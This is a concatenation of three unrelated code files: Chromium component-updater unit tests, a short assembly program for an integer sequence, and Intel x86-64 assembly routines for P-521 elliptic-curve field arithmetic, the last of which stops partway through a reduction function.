TestNotificationTracker::Event ev2 = notification_tracker().at(3);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATE_READY, ev2.type);
TestNotificationTracker::Event ev3 = notification_tracker().at(4);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev3.type);
TestNotificationTracker::Event ev4 = notification_tracker().at(5);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev4.type);
component_updater()->Stop();
}
// This test checks that the "prodversionmin" value is handled correctly. In
// particular there should not be an install because the minimum product
// version is much higher than of chrome.
TEST_F(ComponentUpdaterTest, ProdVersionCheck) {
base::MessageLoop message_loop;
content::TestBrowserThread ui_thread(BrowserThread::UI, &message_loop);
content::TestBrowserThread file_thread(BrowserThread::FILE);
content::TestBrowserThread io_thread(BrowserThread::IO);
io_thread.StartIOThread();
file_thread.Start();
content::URLLocalHostRequestPrepackagedInterceptor interceptor;
CrxComponent com;
RegisterComponent(&com, kTestComponent_jebg, Version("0.9"));
const GURL expected_update_url(
"http://localhost/upd?extra=foo&x=id%3D"
"jebgalgnebhfojomionfpkfelancnnkf%26v%3D0.9%26uc");
interceptor.SetResponse(expected_update_url,
test_file("updatecheck_reply_2.xml"));
interceptor.SetResponse(GURL(expected_crx_url),
test_file("jebgalgnebhfojomionfpkfelancnnkf.crx"));
test_configurator()->SetLoopCount(1);
component_updater()->Start();
message_loop.Run();
EXPECT_EQ(1, interceptor.GetHitCount());
EXPECT_EQ(0, static_cast<TestInstaller*>(com.installer)->error());
EXPECT_EQ(0, static_cast<TestInstaller*>(com.installer)->install_count());
component_updater()->Stop();
}
// Test that a ping for an update check can cause installs.
// Here is the timeline:
// - First loop: we return a reply that indicates no update, so
// nothing happens.
// - We ping.
// - This triggers a second loop, which has a reply that triggers an install.
TEST_F(ComponentUpdaterTest, CheckForUpdateSoon) {
base::MessageLoop message_loop;
content::TestBrowserThread ui_thread(BrowserThread::UI, &message_loop);
content::TestBrowserThread file_thread(BrowserThread::FILE);
content::TestBrowserThread io_thread(BrowserThread::IO);
io_thread.StartIOThread();
file_thread.Start();
content::URLLocalHostRequestPrepackagedInterceptor interceptor;
CrxComponent com1;
RegisterComponent(&com1, kTestComponent_abag, Version("2.2"));
CrxComponent com2;
RegisterComponent(&com2, kTestComponent_jebg, Version("0.9"));
const GURL expected_update_url_1(
"http://localhost/upd?extra=foo&x=id%3D"
"abagagagagagagagagagagagagagagag%26v%3D2.2%26uc&x=id%3D"
"jebgalgnebhfojomionfpkfelancnnkf%26v%3D0.9%26uc");
const GURL expected_update_url_2(
"http://localhost/upd?extra=foo&x=id%3D"
"jebgalgnebhfojomionfpkfelancnnkf%26v%3D0.9%26uc&x=id%3D"
"abagagagagagagagagagagagagagagag%26v%3D2.2%26uc");
interceptor.SetResponse(expected_update_url_1,
test_file("updatecheck_reply_empty"));
interceptor.SetResponse(expected_update_url_2,
test_file("updatecheck_reply_1.xml"));
interceptor.SetResponse(GURL(expected_crx_url),
test_file("jebgalgnebhfojomionfpkfelancnnkf.crx"));
// Test success.
test_configurator()->SetLoopCount(2);
test_configurator()->AddComponentToCheck(&com2, 1);
component_updater()->Start();
message_loop.Run();
EXPECT_EQ(0, static_cast<TestInstaller*>(com1.installer)->error());
EXPECT_EQ(0, static_cast<TestInstaller*>(com1.installer)->install_count());
EXPECT_EQ(0, static_cast<TestInstaller*>(com2.installer)->error());
EXPECT_EQ(1, static_cast<TestInstaller*>(com2.installer)->install_count());
EXPECT_EQ(3, interceptor.GetHitCount());
ASSERT_EQ(5ul, notification_tracker().size());
TestNotificationTracker::Event ev0= notification_tracker().at(0);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_STARTED, ev0.type);
TestNotificationTracker::Event ev1 = notification_tracker().at(1);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev1.type);
TestNotificationTracker::Event ev2 = notification_tracker().at(2);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATE_FOUND, ev2.type);
TestNotificationTracker::Event ev3 = notification_tracker().at(3);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATE_READY, ev3.type);
TestNotificationTracker::Event ev4 = notification_tracker().at(4);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev4.type);
// Also check what happens if previous check too soon.
test_configurator()->SetOnDemandTime(60 * 60);
EXPECT_EQ(ComponentUpdateService::kError,
component_updater()->CheckForUpdateSoon(com2));
// Okay, now reset to 0 for the other tests.
test_configurator()->SetOnDemandTime(0);
component_updater()->Stop();
// Test a few error cases. NOTE: We don't have callbacks for
// when the updates failed yet.
const GURL expected_update_url_3(
"http://localhost/upd?extra=foo&x=id%3D"
"jebgalgnebhfojomionfpkfelancnnkf%26v%3D1.0%26uc&x=id%3D"
"abagagagagagagagagagagagagagagag%26v%3D2.2%26uc");
// No update: error from no server response
interceptor.SetResponse(expected_update_url_3,
test_file("updatecheck_reply_empty"));
notification_tracker().Reset();
test_configurator()->SetLoopCount(1);
component_updater()->Start();
EXPECT_EQ(ComponentUpdateService::kOk,
component_updater()->CheckForUpdateSoon(com2));
message_loop.Run();
ASSERT_EQ(2ul, notification_tracker().size());
ev0 = notification_tracker().at(0);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_STARTED, ev0.type);
ev1 = notification_tracker().at(1);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev1.type);
component_updater()->Stop();
// No update: already updated to 1.0 so nothing new
interceptor.SetResponse(expected_update_url_3,
test_file("updatecheck_reply_1.xml"));
notification_tracker().Reset();
test_configurator()->SetLoopCount(1);
component_updater()->Start();
EXPECT_EQ(ComponentUpdateService::kOk,
component_updater()->CheckForUpdateSoon(com2));
message_loop.Run();
ASSERT_EQ(2ul, notification_tracker().size());
ev0 = notification_tracker().at(0);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_STARTED, ev0.type);
ev1 = notification_tracker().at(1);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev1.type);
component_updater()->Stop();
}
// Verify that a previously registered component can get re-registered
// with a different version.
TEST_F(ComponentUpdaterTest, CheckReRegistration) {
base::MessageLoop message_loop;
content::TestBrowserThread ui_thread(BrowserThread::UI, &message_loop);
content::TestBrowserThread file_thread(BrowserThread::FILE);
content::TestBrowserThread io_thread(BrowserThread::IO);
io_thread.StartIOThread();
file_thread.Start();
content::URLLocalHostRequestPrepackagedInterceptor interceptor;
CrxComponent com1;
RegisterComponent(&com1, kTestComponent_jebg, Version("0.9"));
CrxComponent com2;
RegisterComponent(&com2, kTestComponent_abag, Version("2.2"));
// Start with 0.9, and update to 1.0
const GURL expected_update_url_1(
"http://localhost/upd?extra=foo&x=id%3D"
"jebgalgnebhfojomionfpkfelancnnkf%26v%3D0.9%26uc&x=id%3D"
"abagagagagagagagagagagagagagagag%26v%3D2.2%26uc");
const GURL expected_update_url_2(
"http://localhost/upd?extra=foo&x=id%3D"
"abagagagagagagagagagagagagagagag%26v%3D2.2%26uc&x=id%3D"
"jebgalgnebhfojomionfpkfelancnnkf%26v%3D1.0%26uc");
interceptor.SetResponse(expected_update_url_1,
test_file("updatecheck_reply_1.xml"));
interceptor.SetResponse(expected_update_url_2,
test_file("updatecheck_reply_1.xml"));
interceptor.SetResponse(GURL(expected_crx_url),
test_file("jebgalgnebhfojomionfpkfelancnnkf.crx"));
// Loop twice to issue two checks: (1) with original 0.9 version
// and (2) with the updated 1.0 version.
test_configurator()->SetLoopCount(2);
component_updater()->Start();
message_loop.Run();
EXPECT_EQ(0, static_cast<TestInstaller*>(com1.installer)->error());
EXPECT_EQ(1, static_cast<TestInstaller*>(com1.installer)->install_count());
EXPECT_EQ(0, static_cast<TestInstaller*>(com2.installer)->error());
EXPECT_EQ(0, static_cast<TestInstaller*>(com2.installer)->install_count());
EXPECT_EQ(3, interceptor.GetHitCount());
ASSERT_EQ(5ul, notification_tracker().size());
TestNotificationTracker::Event ev0 = notification_tracker().at(0);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_STARTED, ev0.type);
TestNotificationTracker::Event ev1 = notification_tracker().at(1);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATE_FOUND, ev1.type);
TestNotificationTracker::Event ev2 = notification_tracker().at(2);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATE_READY, ev2.type);
TestNotificationTracker::Event ev3 = notification_tracker().at(3);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev3.type);
TestNotificationTracker::Event ev4 = notification_tracker().at(4);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev4.type);
// Now re-register, pretending to be an even newer version (2.2)
component_updater()->Stop();
EXPECT_EQ(ComponentUpdateService::kReplaced,
RegisterComponent(&com1, kTestComponent_jebg, Version("2.2")));
// Check that we send out 2.2 as our version.
// Interceptor's hit count should go up by 1.
const GURL expected_update_url_3(
"http://localhost/upd?extra=foo&x=id%3D"
"jebgalgnebhfojomionfpkfelancnnkf%26v%3D2.2%26uc&x=id%3D"
"abagagagagagagagagagagagagagagag%26v%3D2.2%26uc");
interceptor.SetResponse(expected_update_url_3,
test_file("updatecheck_reply_1.xml"));
notification_tracker().Reset();
// Loop once just to notice the check happening with the re-register version.
test_configurator()->SetLoopCount(1);
component_updater()->Start();
message_loop.Run();
ASSERT_EQ(2ul, notification_tracker().size());
ev0 = notification_tracker().at(0);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_STARTED, ev0.type);
ev1 = notification_tracker().at(1);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev1.type);
EXPECT_EQ(4, interceptor.GetHitCount());
// The test harness's Register() function creates a new installer,
// so the counts go back to 0.
EXPECT_EQ(0, static_cast<TestInstaller*>(com1.installer)->error());
EXPECT_EQ(0, static_cast<TestInstaller*>(com1.installer)->install_count());
EXPECT_EQ(0, static_cast<TestInstaller*>(com2.installer)->error());
EXPECT_EQ(0, static_cast<TestInstaller*>(com2.installer)->install_count());
component_updater()->Stop();
}
|
; A089508: Solution to a binomial problem together with companion sequence A081016(n-1).
; Submitted by Jon Maiga
; 1,14,103,713,4894,33551,229969,1576238,10803703,74049689,507544126,3478759199,23843770273,163427632718,1120149658759,7677619978601,52623190191454,360684711361583,2472169789339633,16944503814015854,116139356908771351,796030994547383609,5456077604922913918,37396512239913013823,256319508074468182849,1756840044281364266126,12041560801895081680039,82534085568984207494153,565697038180994370779038,3877345181697976387959119,26575719233704840344934801,182152689454235906026584494
mov $1,3
mov $2,4
lpb $0
sub $0,1
add $1,$2
add $2,$1
lpe
mul $2,$1
mov $0,$2
div $0,5
sub $0,1
|
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.text
.p2align 4, 0x90
LOne:
.long 1,1,1,1,1,1,1,1
LTwo:
.long 2,2,2,2,2,2,2,2
LThree:
.long 3,3,3,3,3,3,3,3
Lpoly:
.quad 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff
.quad 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff
.quad 0xffffffffffffffff, 0xffffffffffffffff, 0x1ff
.p2align 4, 0x90
.globl _p521r1_mul_by_2
_p521r1_mul_by_2:
push %r12
push %r13
push %r14
push %r15
xor %rcx, %rcx
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
movq (32)(%rsi), %r12
movq (40)(%rsi), %r13
movq (48)(%rsi), %r14
movq (56)(%rsi), %r15
movq (64)(%rsi), %rax
shld $(1), %rax, %rcx
shld $(1), %r15, %rax
shld $(1), %r14, %r15
shld $(1), %r13, %r14
shld $(1), %r12, %r13
shld $(1), %r11, %r12
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shld $(1), %r8, %r9
shl $(1), %r8
movq %rax, (64)(%rdi)
movq %r15, (56)(%rdi)
movq %r14, (48)(%rdi)
movq %r13, (40)(%rdi)
movq %r12, (32)(%rdi)
movq %r11, (24)(%rdi)
movq %r10, (16)(%rdi)
movq %r9, (8)(%rdi)
movq %r8, (%rdi)
subq Lpoly+0(%rip), %r8
sbbq Lpoly+8(%rip), %r9
sbbq Lpoly+16(%rip), %r10
sbbq Lpoly+24(%rip), %r11
sbbq Lpoly+32(%rip), %r12
sbbq Lpoly+40(%rip), %r13
sbbq Lpoly+48(%rip), %r14
sbbq Lpoly+56(%rip), %r15
sbbq Lpoly+64(%rip), %rax
sbb $(0), %rcx
movq (%rdi), %rdx
cmovne %rdx, %r8
movq (8)(%rdi), %rdx
cmovne %rdx, %r9
movq (16)(%rdi), %rdx
cmovne %rdx, %r10
movq (24)(%rdi), %rdx
cmovne %rdx, %r11
movq (32)(%rdi), %rdx
cmovne %rdx, %r12
movq (40)(%rdi), %rdx
cmovne %rdx, %r13
movq (48)(%rdi), %rdx
cmovne %rdx, %r14
movq (56)(%rdi), %rdx
cmovne %rdx, %r15
movq (64)(%rdi), %rdx
cmovne %rdx, %rax
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
movq %r12, (32)(%rdi)
movq %r13, (40)(%rdi)
movq %r14, (48)(%rdi)
movq %r15, (56)(%rdi)
movq %rax, (64)(%rdi)
pop %r15
pop %r14
pop %r13
pop %r12
ret
.p2align 4, 0x90
.globl _p521r1_div_by_2
_p521r1_div_by_2:
push %r12
push %r13
push %r14
push %r15
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
movq (32)(%rsi), %r12
movq (40)(%rsi), %r13
movq (48)(%rsi), %r14
movq (56)(%rsi), %r15
movq (64)(%rsi), %rax
xor %rdx, %rdx
xor %rcx, %rcx
addq Lpoly+0(%rip), %r8
adcq Lpoly+8(%rip), %r9
adcq Lpoly+16(%rip), %r10
adcq Lpoly+24(%rip), %r11
adcq Lpoly+32(%rip), %r12
adcq Lpoly+40(%rip), %r13
adcq Lpoly+48(%rip), %r14
adcq Lpoly+56(%rip), %r15
adcq Lpoly+64(%rip), %rax
adc $(0), %rcx
test $(1), %r8
cmovne %rdx, %rcx
movq (%rsi), %rdx
cmovne %rdx, %r8
movq (8)(%rsi), %rdx
cmovne %rdx, %r9
movq (16)(%rsi), %rdx
cmovne %rdx, %r10
movq (24)(%rsi), %rdx
cmovne %rdx, %r11
movq (32)(%rsi), %rdx
cmovne %rdx, %r12
movq (40)(%rsi), %rdx
cmovne %rdx, %r13
movq (48)(%rsi), %rdx
cmovne %rdx, %r14
movq (56)(%rsi), %rdx
cmovne %rdx, %r15
movq (64)(%rsi), %rdx
cmovne %rdx, %rax
shrd $(1), %r9, %r8
shrd $(1), %r10, %r9
shrd $(1), %r11, %r10
shrd $(1), %r12, %r11
shrd $(1), %r13, %r12
shrd $(1), %r14, %r13
shrd $(1), %r15, %r14
shrd $(1), %rax, %r15
shrd $(1), %rcx, %rax
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
movq %r12, (32)(%rdi)
movq %r13, (40)(%rdi)
movq %r14, (48)(%rdi)
movq %r15, (56)(%rdi)
movq %rax, (64)(%rdi)
pop %r15
pop %r14
pop %r13
pop %r12
ret
.p2align 4, 0x90
.globl _p521r1_mul_by_3
_p521r1_mul_by_3:
push %r12
push %r13
push %r14
push %r15
sub $(88), %rsp
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
movq (32)(%rsi), %r12
movq (40)(%rsi), %r13
movq (48)(%rsi), %r14
movq (56)(%rsi), %r15
movq (64)(%rsi), %rax
xor %rcx, %rcx
shld $(1), %rax, %rcx
shld $(1), %r15, %rax
shld $(1), %r14, %r15
shld $(1), %r13, %r14
shld $(1), %r12, %r13
shld $(1), %r11, %r12
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shld $(1), %r8, %r9
shl $(1), %r8
movq %rax, (64)(%rsp)
movq %r15, (56)(%rsp)
movq %r14, (48)(%rsp)
movq %r13, (40)(%rsp)
movq %r12, (32)(%rsp)
movq %r11, (24)(%rsp)
movq %r10, (16)(%rsp)
movq %r9, (8)(%rsp)
movq %r8, (%rsp)
subq Lpoly+0(%rip), %r8
sbbq Lpoly+8(%rip), %r9
sbbq Lpoly+16(%rip), %r10
sbbq Lpoly+24(%rip), %r11
sbbq Lpoly+32(%rip), %r12
sbbq Lpoly+40(%rip), %r13
sbbq Lpoly+48(%rip), %r14
sbbq Lpoly+56(%rip), %r15
sbbq Lpoly+64(%rip), %rax
sbb $(0), %rcx
movq (%rsp), %rdx
cmovb %rdx, %r8
movq (8)(%rsp), %rdx
cmovb %rdx, %r9
movq (16)(%rsp), %rdx
cmovb %rdx, %r10
movq (24)(%rsp), %rdx
cmovb %rdx, %r11
movq (32)(%rsp), %rdx
cmovb %rdx, %r12
movq (40)(%rsp), %rdx
cmovb %rdx, %r13
movq (48)(%rsp), %rdx
cmovb %rdx, %r14
movq (56)(%rsp), %rdx
cmovb %rdx, %r15
movq (64)(%rsp), %rdx
cmovb %rdx, %rax
xor %rcx, %rcx
addq (%rsi), %r8
adcq (8)(%rsi), %r9
adcq (16)(%rsi), %r10
adcq (24)(%rsi), %r11
adcq (32)(%rsi), %r12
adcq (40)(%rsi), %r13
adcq (48)(%rsi), %r14
adcq (56)(%rsi), %r15
adcq (64)(%rsi), %rax
adc $(0), %rcx
movq %r8, (%rsp)
movq %r9, (8)(%rsp)
movq %r10, (16)(%rsp)
movq %r11, (24)(%rsp)
movq %r12, (32)(%rsp)
movq %r13, (40)(%rsp)
movq %r14, (48)(%rsp)
movq %r15, (56)(%rsp)
movq %rax, (64)(%rsp)
subq Lpoly+0(%rip), %r8
sbbq Lpoly+8(%rip), %r9
sbbq Lpoly+16(%rip), %r10
sbbq Lpoly+24(%rip), %r11
sbbq Lpoly+32(%rip), %r12
sbbq Lpoly+40(%rip), %r13
sbbq Lpoly+48(%rip), %r14
sbbq Lpoly+56(%rip), %r15
sbbq Lpoly+64(%rip), %rax
sbb $(0), %rcx
movq (%rsp), %rdx
cmovb %rdx, %r8
movq (8)(%rsp), %rdx
cmovb %rdx, %r9
movq (16)(%rsp), %rdx
cmovb %rdx, %r10
movq (24)(%rsp), %rdx
cmovb %rdx, %r11
movq (32)(%rsp), %rdx
cmovb %rdx, %r12
movq (40)(%rsp), %rdx
cmovb %rdx, %r13
movq (48)(%rsp), %rdx
cmovb %rdx, %r14
movq (56)(%rsp), %rdx
cmovb %rdx, %r15
movq (64)(%rsp), %rdx
cmovb %rdx, %rax
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
movq %r12, (32)(%rdi)
movq %r13, (40)(%rdi)
movq %r14, (48)(%rdi)
movq %r15, (56)(%rdi)
movq %rax, (64)(%rdi)
add $(88), %rsp
pop %r15
pop %r14
pop %r13
pop %r12
ret
.p2align 4, 0x90
.globl _p521r1_add
_p521r1_add:
push %rbx
push %r12
push %r13
push %r14
push %r15
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
movq (32)(%rsi), %r12
movq (40)(%rsi), %r13
movq (48)(%rsi), %r14
movq (56)(%rsi), %r15
movq (64)(%rsi), %rax
xor %rcx, %rcx
addq (%rdx), %r8
adcq (8)(%rdx), %r9
adcq (16)(%rdx), %r10
adcq (24)(%rdx), %r11
adcq (32)(%rdx), %r12
adcq (40)(%rdx), %r13
adcq (48)(%rdx), %r14
adcq (56)(%rdx), %r15
adcq (64)(%rdx), %rax
adc $(0), %rcx
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
movq %r12, (32)(%rdi)
movq %r13, (40)(%rdi)
movq %r14, (48)(%rdi)
movq %r15, (56)(%rdi)
movq %rax, (64)(%rdi)
subq Lpoly+0(%rip), %r8
sbbq Lpoly+8(%rip), %r9
sbbq Lpoly+16(%rip), %r10
sbbq Lpoly+24(%rip), %r11
sbbq Lpoly+32(%rip), %r12
sbbq Lpoly+40(%rip), %r13
sbbq Lpoly+48(%rip), %r14
sbbq Lpoly+56(%rip), %r15
sbbq Lpoly+64(%rip), %rax
sbb $(0), %rcx
movq (%rdi), %rdx
cmovb %rdx, %r8
movq (8)(%rdi), %rdx
cmovb %rdx, %r9
movq (16)(%rdi), %rdx
cmovb %rdx, %r10
movq (24)(%rdi), %rdx
cmovb %rdx, %r11
movq (32)(%rdi), %rdx
cmovb %rdx, %r12
movq (40)(%rdi), %rdx
cmovb %rdx, %r13
movq (48)(%rdi), %rdx
cmovb %rdx, %r14
movq (56)(%rdi), %rdx
cmovb %rdx, %r15
movq (64)(%rdi), %rdx
cmovb %rdx, %rax
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
movq %r12, (32)(%rdi)
movq %r13, (40)(%rdi)
movq %r14, (48)(%rdi)
movq %r15, (56)(%rdi)
movq %rax, (64)(%rdi)
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
ret
.p2align 4, 0x90
.globl _p521r1_sub
_p521r1_sub:
push %rbx
push %r12
push %r13
push %r14
push %r15
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
movq (32)(%rsi), %r12
movq (40)(%rsi), %r13
movq (48)(%rsi), %r14
movq (56)(%rsi), %r15
movq (64)(%rsi), %rax
xor %rcx, %rcx
subq (%rdx), %r8
sbbq (8)(%rdx), %r9
sbbq (16)(%rdx), %r10
sbbq (24)(%rdx), %r11
sbbq (32)(%rdx), %r12
sbbq (40)(%rdx), %r13
sbbq (48)(%rdx), %r14
sbbq (56)(%rdx), %r15
sbbq (64)(%rdx), %rax
sbb $(0), %rcx
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
movq %r12, (32)(%rdi)
movq %r13, (40)(%rdi)
movq %r14, (48)(%rdi)
movq %r15, (56)(%rdi)
movq %rax, (64)(%rdi)
addq Lpoly+0(%rip), %r8
adcq Lpoly+8(%rip), %r9
adcq Lpoly+16(%rip), %r10
adcq Lpoly+24(%rip), %r11
adcq Lpoly+32(%rip), %r12
adcq Lpoly+40(%rip), %r13
adcq Lpoly+48(%rip), %r14
adcq Lpoly+56(%rip), %r15
adcq Lpoly+64(%rip), %rax
test %rcx, %rcx
movq (%rdi), %rdx
cmove %rdx, %r8
movq (8)(%rdi), %rdx
cmove %rdx, %r9
movq (16)(%rdi), %rdx
cmove %rdx, %r10
movq (24)(%rdi), %rdx
cmove %rdx, %r11
movq (32)(%rdi), %rdx
cmove %rdx, %r12
movq (40)(%rdi), %rdx
cmove %rdx, %r13
movq (48)(%rdi), %rdx
cmove %rdx, %r14
movq (56)(%rdi), %rdx
cmove %rdx, %r15
movq (64)(%rdi), %rdx
cmove %rdx, %rax
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
movq %r12, (32)(%rdi)
movq %r13, (40)(%rdi)
movq %r14, (48)(%rdi)
movq %r15, (56)(%rdi)
movq %rax, (64)(%rdi)
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
ret
.p2align 4, 0x90
.globl _p521r1_neg
_p521r1_neg:
push %r12
push %r13
push %r14
push %r15
xor %r8, %r8
xor %r9, %r9
xor %r10, %r10
xor %r11, %r11
xor %r12, %r12
xor %r13, %r13
xor %r14, %r14
xor %r15, %r15
xor %rax, %rax
xor %rcx, %rcx
subq (%rsi), %r8
sbbq (8)(%rsi), %r9
sbbq (16)(%rsi), %r10
sbbq (24)(%rsi), %r11
sbbq (32)(%rsi), %r12
sbbq (40)(%rsi), %r13
sbbq (48)(%rsi), %r14
sbbq (56)(%rsi), %r15
sbbq (64)(%rsi), %rax
sbb $(0), %rcx
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
movq %r12, (32)(%rdi)
movq %r13, (40)(%rdi)
movq %r14, (48)(%rdi)
movq %r15, (56)(%rdi)
movq %rax, (64)(%rdi)
addq Lpoly+0(%rip), %r8
adcq Lpoly+8(%rip), %r9
adcq Lpoly+16(%rip), %r10
adcq Lpoly+24(%rip), %r11
adcq Lpoly+32(%rip), %r12
adcq Lpoly+40(%rip), %r13
adcq Lpoly+48(%rip), %r14
adcq Lpoly+56(%rip), %r15
adcq Lpoly+64(%rip), %rax
test %rcx, %rcx
movq (%rdi), %rdx
cmove %rdx, %r8
movq (8)(%rdi), %rdx
cmove %rdx, %r9
movq (16)(%rdi), %rdx
cmove %rdx, %r10
movq (24)(%rdi), %rdx
cmove %rdx, %r11
movq (32)(%rdi), %rdx
cmove %rdx, %r12
movq (40)(%rdi), %rdx
cmove %rdx, %r13
movq (48)(%rdi), %rdx
cmove %rdx, %r14
movq (56)(%rdi), %rdx
cmove %rdx, %r15
movq (64)(%rdi), %rdx
cmove %rdx, %rax
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
movq %r12, (32)(%rdi)
movq %r13, (40)(%rdi)
movq %r14, (48)(%rdi)
movq %r15, (56)(%rdi)
movq %rax, (64)(%rdi)
pop %r15
pop %r14
pop %r13
pop %r12
ret
.p2align 4, 0x90
.globl _p521r1_mred
_p521r1_mred:
push %rbx
push %r12
push %r13
push %r14
push %r15
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
movq (32)(%rsi), %r12
movq (40)(%rsi), %r13
movq (48)(%rsi), %r14
movq (56)(%rsi), %r15
movq (64)(%rsi), %rax
movq (72)(%rsi), %rcx
xor %rdx, %rdx
mov %r8, %rbx
shr $(55), %rbx
shl $(9), %r8
add %rdx, %rbx
add %r8, %rax
adc %rbx, %rcx
mov $(0), %rdx
adc $(0), %rdx
movq (80)(%rsi), %r8
mov %r9, %rbx
shr $(55), %rbx
shl $(9), %r9
add %rdx, %rbx
add %r9, %rcx
adc %rbx, %r8
mov $(0), %rdx
adc $(0), %rdx
movq (88)(%rsi), %r9
mov %r10, %rbx
shr $(55), %rbx
shl $(9), %r10
add %rdx, %rbx
add %r10, %r8
adc %rbx, %r9
mov $(0), %rdx
adc $(0), %rdx
movq (96)(%rsi), %r10
mov %r11, %rbx
shr $(55), %rbx
shl $(9), %r11
add %rdx, %rbx
add %r11, %r9
adc %rbx, %r10
mov $(0), %rdx
adc $(0), %rdx
movq (104)(%rsi), %r11
mov %r12, %rbx
shr $(55), %rbx
shl $(9), %r12
add %rdx, %rbx
add %r12, %r10
adc %rbx, %r11
mov $(0), %rdx
adc $(0), %rdx
movq (112)(%rsi), %r12
mov %r13, %rbx
shr $(55), %rbx
shl $(9), %r13
add %rdx, %rbx
add %r13, %r11
adc %rbx, %r12
mov $(0), %rdx
adc $(0), %rdx
movq (120)(%rsi), %r13
mov %r14, %rbx
shr $(55), %rbx
shl $(9), %r14
add %rdx, %rbx
add %r14, %r12
adc %rbx, %r13
mov $(0), %rdx
adc $(0), %rdx
movq (128)(%rsi), %r14
mov %r15, %rbx
shr $(55), %rbx
shl $(9), %r15
add %rdx, %rbx
add %r15, %r13
adc %rbx, %r14
mov $(0), %rdx
adc $(0), %rdx
movq (136)(%rsi), %r15
mov %rax, %rbx
shr $(55), %rbx
shl $(9), %rax
add %rdx, %rbx
add %rax, %r14
adc %rbx, %r15
mov $(0), %rdx
adc $(0), %rdx
movq %rcx, (%rdi)
movq %r8, (8)(%rdi)
movq %r9, (16)(%rdi)
movq %r10, (24)(%rdi)
movq %r11, (32)(%rdi)
movq %r12, (40)(%rdi)
movq %r13, (48)(%rdi)
movq %r14, (56)(%rdi)
movq %r15, (64)(%rdi)
subq Lpoly+0(%rip), %rcx
sbbq Lpoly+8(%rip), %r8
sbbq Lpoly+16(%rip), %r9
sbbq Lpoly+24(%rip), %r10
sbbq Lpoly+32(%rip), %r11
sbbq Lpoly+40(%rip), %r12
sbbq Lpoly+48(%rip), %r13
sbbq Lpoly+56(%rip), %r14
